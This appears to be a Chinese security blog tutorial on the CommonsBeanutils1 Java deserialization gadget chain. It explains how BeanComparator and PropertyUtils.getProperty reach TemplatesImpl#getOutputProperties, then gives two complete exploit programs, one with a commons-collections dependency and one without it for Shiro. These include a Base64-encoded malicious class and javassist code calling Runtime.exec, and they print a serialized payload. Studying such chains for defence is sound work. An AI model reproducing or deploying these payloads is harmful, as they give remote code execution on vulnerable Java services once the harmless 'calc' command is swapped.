Java反序列化漏洞——CommonsBeanutils1链分析

一、了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目，它提供了对普通Java类对象（也称为JavaBean）的一些操作方法。

在Java中，有很多class的定义都符合这样的规范

• 若干private实例字段；

• 通过public方法来读写实例字段

举例子：比如定义一个User类

public class User {private String name;public String getName() {return name;}public void setName(String name) {this.name = name;}
}

就是包含了一个私有属性name，以及读取和设置这个属性的两个公开方法，定义为getter和setter。getter方法以get开头，setter方法以set开头。

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty ，让使用者可以直接调用任意JavaBean的getter方法，比如：

PropertyUtils.getProperty(new User(), "name");

• commons-beanutils会自动找到name属性的getter方法，也就是getName ，然后调用，获得返回值。

• 除此之外，PropertyUtils.getProperty 还支持递归获取属性，比如a对象中有属性b，b对象中有属性c，我们可以通过PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。

• 通过这个方法，使用者可以很方便地调用任意对象的getter，适用于在不确定JavaBean是哪个类对象时使用。

二、漏洞原理

前面说到PropertyUtils.getProperty()会自动调用javaBean的get方法，这样就存在一个安全问题，如果get方法中存在任意命令执行的点，则存在安全问题。

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化，主要是通过调用了其comparator的compare方法，进而调用了transform链的调用。而CB链的思路就是，将其中的comparator替换成commons-beanutils库中的某个comparator，达到我们的目的。其中就用到了如下的BeanComparator这个类：

1.org.apache.commons.beanutils.BeanComparator#compare()——调用点

这里就调用到了我们上面说到的PropertyUtils.getProperty方法，而且property参数对我们是可控的，将会取出两个对象的property属性值，之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。

2.PropertyUtils.getProperty()

接收两个参数 bean （类对象）和 name（属性名），方法会返回这个类的这个属性的值，但是他不是直接通过反射取值，而是通过反射调用getter方法获取属性，进而经过恶意的构造，我们可以触发任意的getter方法。

3.TemplatesImpl#getOutputProperties()——命令执行点

getOutputProperties方法调用了newTransformer方法，也正好可以构造字节码任意命令执行。

所以， PropertyUtils.getProperty( o1, property ) 这段代码，当o1是一个TemplatesImpl 对象，而property 的值为outputProperties时，将会自动调用getter，也就是TemplatesImpl#getOutputProperties() 方法，触发代码执行。

调用链如下：

PriorityQueue#readObject --> heapify() --> siftDown() --> siftDownUsingComparator() --> comparator.compare() --> BeanComparator#compare() --> PropertyUtils.getProperty( o1, property )

回过头来分析下BeanComparator的构造器：

在创建类的对象的时候可以为comparator赋予特定的比较器，值得注意的是如果没有设定自定义的comparator，其默认为ComparableComparator对象，当然，在调用链中，将会调用他的compare方法。

三、构造payload

1、依赖CC链

在上面对BeanComparator的构造器分析中，提到了，在创建类对象的时候，将会判断是否存在有comparator属性值，如果没有将会创建一个ComparableComparator对象。

不幸的是，这个类是存在commons-collections的类，如果没有这个依赖，在反序列化的过程中将会抛出异常。当然同样有着解决的办法！

1.首先创建恶意的TemplateImpl：

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

2.实例化BeanComparator

BeanComparator comparator = new BeanComparator();

3.实例化优先队列PriorityQueue

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);

4.反射将property 的值设置成恶意的outputProperties ，将队列里的两个1替换成恶意的TemplateImpl 对象

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整代码：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2,comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});//        SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize("test.bin");}
}

2、不依赖CC链（shiro无依赖利用链）

前面提到了，对于没有CC依赖的原因是，默认下的comparator，是CC依赖中的类，如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。

对于commons-beanutils中，只有BeanComparator这一个类满足，我们查找一下JDK中的类。

存在很多很多，常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator

我们只需要反射将对应的comparator写入属性中，就不需要依赖CC库了。

//反射赋值
setFieldValue(beanComparator, "property", "outputProperties");
//下面这两个二选一都可以
//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
setFieldValue(queue, "queue", new Object[]{templates, templates});

完整代码：

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;public class CB_withoutCC {public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {Field field = obj.getClass().getDeclaredField(fieldname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});//创建比较器BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());PriorityQueue<Object> queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});//序列化ByteArrayOutputStream baor = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baor);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));//反序列化ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object o = ois.readObject();baor.close();}
}